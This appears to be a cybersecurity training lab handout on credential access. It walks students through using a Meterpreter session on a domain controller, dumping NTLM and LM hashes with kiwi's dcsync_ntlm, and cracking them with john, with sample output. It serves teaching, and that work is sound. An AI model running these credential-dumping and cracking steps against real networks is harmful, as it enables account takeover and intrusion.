Cybersecurity

Activity File

Activity File: Credential Access

In this activity, you will use your SYSTEM access on the domain controller to make a copy of the `NTDS.dit` file and attempt to crack the password hashes in it.

⚠️ **Reminder:** Don't forget to save your findings, as you will add them to your Week 16 Homework!

Instructions

Use your Meterpreter session on the WINDC01 machine (the domain controller). If you do not have an active session on the WINDC01 machine, refer to prior activities.

1. In Meterpreter, enter a shell, then view the users on the machine via the `net` command.
   net users
2. Exit the command shell, then load `kiwi` and perform `dcsync_ntlm` in Meterpreter for each of the users. Run the command `dcsync_ntlm` to see the usage.

```
meterpreter > dcsync_ntlm cdanvers
[+] Account  : cdanvers
[+] NTLM Hash : 5ab17a555eb088267f5f2679823dc69d
[+] LM Hash  : cc7ce55233131791c7abd9467e909977
[+] SID      : S-1-5-21-1129708524-1666154534-779541012-1603
[+] RID      : 1603
```

3. Take each NTLM hash and place them in a text file. Using `john`, crack the hashes in the file.

4. Some hashes may have been previously cracked. Remember, you can show completed hashes by using `john --show <file_name>`

```
┌──(root💀kali)-[~]
└─# john hash.txt --format=nt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 512/512 AVX512BW 16×3])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
0g 0:00:00:03  3/3 0g/s 7922Kp/s 7922Kc/s 7922KC/s htflub..samindry
Session aborted
```